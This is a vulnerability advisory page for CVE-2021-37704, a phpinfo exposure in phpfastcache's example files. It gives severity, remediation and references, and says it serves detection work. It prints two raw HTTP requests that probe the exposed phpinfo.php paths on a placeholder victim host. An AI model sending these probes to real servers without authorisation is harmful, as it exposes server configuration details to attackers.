🔙 목록으로 돌아가기

CVE-2021-37704: phpfastcache - phpinfo Resource Exposure

Titlephpfastcache - phpinfo Resource Exposure
Authorwhoever
SeverityMedium
ImpactAn attacker can gain access to sensitive information, such as server configuration details, PHP version, and installed extensions.
RemediationRemove or restrict access to the phpinfo.php file in the phpfastcache library.
CVSS Score4.3
EPSS Score0.47802
CVE IDCVE-2021-37704
CWE IDCWE-668,CWE-200
Tags cve2021 cve exposure phpfastcache phpinfo phpsocialnetwork vuln

🔍 Vulnerability Description

phpinfo() is susceptible to resource exposure in unprotected composer vendor folders via phpfastcache/phpfastcache.

🌐 HTTP Request

GET /vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /vendor/phpfastcache/phpfastcache/examples/phpinfo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37704.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37704.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A